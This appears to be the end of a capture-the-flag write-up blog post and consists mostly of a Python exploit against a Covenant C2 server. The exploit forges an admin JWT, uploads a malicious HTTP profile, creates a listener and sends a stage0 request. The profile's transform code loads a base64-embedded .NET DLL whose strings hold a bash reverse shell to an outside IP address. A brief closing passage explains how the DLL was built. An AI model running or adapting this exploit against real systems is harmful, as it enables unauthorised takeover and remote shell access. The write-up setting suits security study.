      dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAEUvcWMAAAAAAAAAAOAAIiALATAAAAgAAAAGAAAAAAAAsicAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGAnAABPAAAAAEAAAIgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAoJgAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAuAcAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAIgDAAAAQAAAAAQAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAADgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACUJwAAAAAAAEgAAAACAAUAcCAAALgFAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGYCKA4AAAoAAHIBAABwcgsAAHAoDwAACiYqCgAqAAAAQlNKQgEAAQAAAAAADAAAAHYyLjAuNTA3MjcAAAAABQBsAAAAzAEAACN+AAA4AgAAIAIAACNTdHJpbmdzAAAAAFgEAACIAAAAI1VTAOAEAAAQAAAAI0dVSUQAAADwBAAAyAAAACNCbG9iAAAAAAAAAAIAAAFHFQAACQAAAAD6ATMAFgAAAQAAABAAAAACAAAAAgAAAAEAAAAPAAAADQAAAAEAAAACAAAAAABxAQEAAAAAAAYA5gDWAQYAUwHWAQYAMwCkAQ8A9gEAAAYAWwCMAQYAyQCMAQYAqgCMAQYAOgGMAQYABgGMAQYAHwGMAQYAcgCMAQYARwC3AQYAJQC3AQYAjQCMAQYAEgKAAQoACgKkAQAAAAAIAAAAAAABAAEAAQAQAAEAEQA9AAEAAQBQIAAAAACGGJ4BBgABAGogAAAAAIYAhwEqAAEAAAABAAUCCQCeAQEAEQCeAQYAGQCeAQoAKQCeARAAMQCeARAAOQCeARAAQQCeARAASQCeARAAUQCeARAAWQCeARAAYQCeARUAaQCeARAAcQCeARAAeQCeAQYAgQAZAhoALgALADAALgATADkALgAbAFgALgAjAGEALgArAHEALgAzAHEALgA7AHEALgBDAGEALgBLAHcALgBTAHEALgBbAHEALgBjAI8ALgBrALkABIAAAAEAAAAAAAAAAAAAAAAAEQAAAAIAAAAAAAAAAAAAACEAHAAAAAAAAgAAAAAAAAAAAAAAIQCAAQAAAAAAAABDbGFzczEAPE1vZHVsZT4ARXhhbXBsZURMTABtc2NvcmxpYgBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4YW1wbGVETEwuZGxsAFN5c3RlbQBNYWluAFN5c3RlbS5SZWZsZWN0aW9uAC5jdG9yAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFByb2Nlc3MAT2JqZWN0AFN0YXJ0AAAACWIAYQBzAGgAAHstAGMAIAAiAGIAYQBzAGgAIAAtAGMAIAAnAGUAeABlAGMAIABiAGEAcwBoACAALQBpACAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='
      payload = """public static class MessageTransform {
        public static string Transform(byte[] bytes) {
            try {
            string assemblyBase64 = "%s";
            var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);
            var assembly = System.Reflection.Assembly.Load(assemblyBytes);
            foreach (var type in assembly.GetTypes()) {
                object instance = System.Activator.CreateInstance(type);
                object[] args = new object[] { new string[] { "" } };
                try {
                type.GetMethod("Main").Invoke(instance, args);
                }
                catch {}
            }
            }
            catch {}
            return System.Convert.ToBase64String(bytes);
        }

        public static byte[] Invert(string str) {
            return System.Convert.FromBase64String(str);
        }
    }""" % dll
      return payload
    def read_listener_type(self,name : str) -> str:
      response1 = requests.get("%s/api/listeners/types" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + self.ADMIN_TOKEN})
      listners_types = response1.json()
      for listener_type in listners_types:
        if listener_type['name'].lower() == name.lower():
          return listener_type['id']

    def upload_profile(self) -> int:

        id =random.randint(6000,8000)
        name = randomhex(4)
        data = {
          'httpUrls': [
            '/en-us/index.html',
            '/en-us/docs.html',
            '/en-us/test.html'
          ],
          'httpRequestHeaders': [
            {'name': 'User-Agent', 'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'},
            {'name': 'Cookies', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'}
          ],
          'httpResponseHeaders': [
            {'name': 'Server', 'value': 'Microsoft-IIS/7.5'}
          ],
          'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73',
          'httpGetResponse': 'salut: {DATA}',
          'httpPostResponse': '{DATA}',
          'id': id,
          'name': "%s" % name,
          'description': 'z3ste',
          'type': 'HTTP',
          'messageTransform': self.generate_transform_payload()
        }
        #  response = request_api('POST', normalize_uri('api', 'profiles', 'http'), data.to_json)
        response2 = requests.post("%s/api/profiles/http" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
        if response2.status_code != 201:
          print("[!] %sCan't create profile%s" % (Fore.RED,Fore.WHITE))
          sys.exit(0)
        if response2.json()["description"] == "z3st":
          print("[!] %sProfil non créé%s" % (Fore.RED,Fore.WHITE))
          sys.exit(0)
        print("- Profil créé: id=%i / name=%s" % (response2.json()["id"],response2.json()["name"]))
        response1 = requests.get("%s/api/profiles/http" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + self.ADMIN_TOKEN})
        return id

    def create_listener(self,id : int) -> None:
        c2_port = random.randint(8000,8250)
        self.c2_port = c2_port
        name = randomhex(4)
        data = {
          'useSSL': False,
          'urls': [
            self.url
          ],
          'id': 0,
          'name': name,
          'bindAddress': self.ip,
          'bindPort': c2_port,
          'connectAddresses': [
            "%s" % self.ip
          ],
          'connectPort': c2_port,
          'profileId': id,
          'listenerTypeId': self.read_listener_type('HTTP'),
          'status': 'Active',
          'Description':"Z3st"
        }
        #response = request_api('POST', normalize_uri('api', 'listeners', 'http'), data.to_json)
        response2 = requests.post("%s/api/listeners/http" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
        try:
          if response2.json()["description"] == "Z3st":
            print("- Listener créé: id=%i / name=%s (%s)" % (response2.json()["id"],response2.json()["name"],response2.json()["urls"][0]))
            return response2.json()["name"]
          else:
            print(response2.text)
            print("[!] %sListener non créé%s" % (Fore.RED,Fore.WHITE))
            sys.exit(0)
        except TypeError:
            print(response2.text)
            print("[!] %sImpossible de creer le listener%s" % (Fore.RED,Fore.WHITE))
            sys.exit(0)

    def read_grunt_cfg(self,listener_name):
      data = {
        'id': 0,
        'listenerId': self.read_listener_id(listener_name),
        'implantTemplateId': 1,
        'name': 'Binary',
        'description': 'Uses a generated .NET Framework binary to launch a Grunt.',
        'type': 'binary',
        'dotNetVersion': 'Net35',
        'runtimeIdentifier': 'win_x64',
        'validateCert': True,
        'useCertPinning': True,
        'smbPipeName': 'string',
        'delay': 0,
        'jitterPercent': 0,
        'connectAttempts': 0,
        'launcherString': 'GruntHTTP.exe',
        'outputKind': 'consoleApplication',
        'compressStager': False
      }

      # gerenate grunt payload
      response2 = requests.put("%s/api/launchers/binary" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
      if response2.text != "":
        response2 = requests.post("%s/api/launchers/binary" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))

      if response2.text != "":
        #print(response2.json())
        code = (response2.json()['stagerCode'])
        #print(code)
        aes_key = re.search(".*byte\[\]\sSetupKeyBytes\s=\sConvert.FromBase64String\(@\"(.*?)\"\);",code).group(1)
        guid_prefix = re.search(".*string\saGUID\s=\s@\"(.*?)\";",code).group(1)
        print("- AES key:  %s" % aes_key)
        print("- GUID:  %s" % guid_prefix)
        return aes_key,guid_prefix

#
    def generate_stage0(self,aes_key, guid):
        headers = {}
        headers['Cookies'] = "ASPSESSIONID=%s; SESSIONID=1552332971750" % guid
        headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'

        message = '<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>'
        
        #ruby aes.rb --key dazdzadaz --data dzaazdaz

        payload = subprocess.check_output(['ruby', 'aes.rb', "--key", aes_key, "--guid", guid])
        payload = payload.replace(b'\n',b'')        

  
        time.sleep(5)

        data = {
            'i' :'a19ea23062db990386a3a478cb89d52e',
            'data' : payload.decode('utf-8'),
            'session' : '75db-99b1-25fe4e9afbe58696-320bea73'
        }
        print(data)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((self.host, self.c2_port))
        REQ_TEMPLATE = """GET /en-us/test.html HTTP/1.1\r\nHost:%s\r\nCookie: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n""" % (self.host,headers['Cookies'],headers['User-Agent'])
        sent = s.send(REQ_TEMPLATE.encode("utf-8"))
        content = s.recv(1024)
        if not b"HTTP/1.1 200 OK" in content:
            print(content)
            print("[!] %sErreur lors de la connection%s" % (Fore.RED,Fore.WHITE))
            #sys.exit(0)
        s.close()
        post_data = "i=%s&data=%s&session=%s" % (data['i'],data['data'],data['session'])
        REQ_TEMPLATE = """POST /en-us/test.html HTTP/1.1\r\nHost:%s\r\nCookie: %s\r\nUser-Agent: %s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n%s\r\n\r\n""" % (self.host,headers['Cookies'],headers['User-Agent'],len(post_data),post_data)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((self.host, self.c2_port))    
        sent = s.send(REQ_TEMPLATE.encode("utf-8"))
        print(s.recv(1024))
        
    
    def read_listener_id(self,name):
      listeners = requests.get("%s/api/listeners" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN})
      if listeners.text != "":
        listeners = listeners.json()
        for listener in listeners:
          if listener['name'] == name:
            return listener['id']
      print("[!] %sImpossible de trouver le listener%s" % (Fore.RED,Fore.WHITE))
      sys.exit(0)    
   
    def exploit(self) -> None:

      print("[-] %sRecuperation de la liste des utilisateurs%s" % (Fore.MAGENTA,Fore.WHITE))
      USER_LIST = self.get_user_list()

      print("[-] %sGeneration du token admin%s" % (Fore.MAGENTA,Fore.WHITE))

      self.ADMIN_NAME = "DGHACK_ADMIN"
      self.ADMIN_ID = USER_LIST[1]["id"]
      print("Choix: %s (%s) "% (self.ADMIN_NAME,self.ADMIN_ID))
      self.ADMIN_TOKEN = self._gen_jwt(self.ADMIN_NAME,self.ADMIN_ID)
      print(" - admin_token=%s" % self.ADMIN_TOKEN)
      time.sleep(2)
      print("[-] %sGeneration du profil malicieux%s" % (Fore.MAGENTA,Fore.WHITE))
      profil_id = self.upload_profile()
      print("[-] %sGeneration du listener malicieux%s" % (Fore.MAGENTA,Fore.WHITE))
      listener_name = self.create_listener(profil_id)
      print("[-] %sRecuperation de la configuration grunt%s" % (Fore.MAGENTA,Fore.WHITE))
      aes_key, guid_prefix = self.read_grunt_cfg(listener_name)
      print("[-] %sStage0%s" % (Fore.MAGENTA,Fore.WHITE))
      self.generate_stage0(aes_key, guid_prefix + randomhex(5))

a = exploit()
a.exploit()

All we have to do now is generate a working DLL. I start by recovering the DLL used in the ruby ​​script, I add my bash reverse shell code and I run it, once, twice, three times but nothing happens. I understand it’s a little more complex than that. While (re)reading the hunting the hunters article, I came across a link to Malcom Vetter’s article ( here ), then a link to his code ( here ). For more information I invite you to read his article.

I generate the DLL which I encode in base64 and I place it in my script, and normally we are good.

And finally…

Now that our script is complete, just run it:


Posted

in

,

by

Tags: